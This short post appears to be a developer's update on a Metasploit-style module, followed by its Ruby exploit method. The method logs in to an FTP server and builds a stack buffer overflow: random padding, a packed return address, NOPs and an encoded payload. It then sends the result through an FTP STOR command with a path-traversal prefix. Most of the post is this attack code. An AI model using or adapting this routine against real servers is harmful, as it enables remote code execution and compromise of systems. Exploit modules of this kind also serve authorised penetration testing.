I was able to get it going. New push with all updates from this page coming soon. The only one that is unconfirmed at this point is the indentation issue.

New code:

```ruby

	def exploit
		connect_login
		print_status("Trying victim #{target.name}...")
		sploit = rand_text_alpha(target['Offset']) << [target.ret].pack('V') << make_nops(4) << payload.encoded
		sploit << rand_text_alpha(sploit.length)
		send_cmd( ["STOR", "/../" + sploit], false )
		disconnect
	end
end
```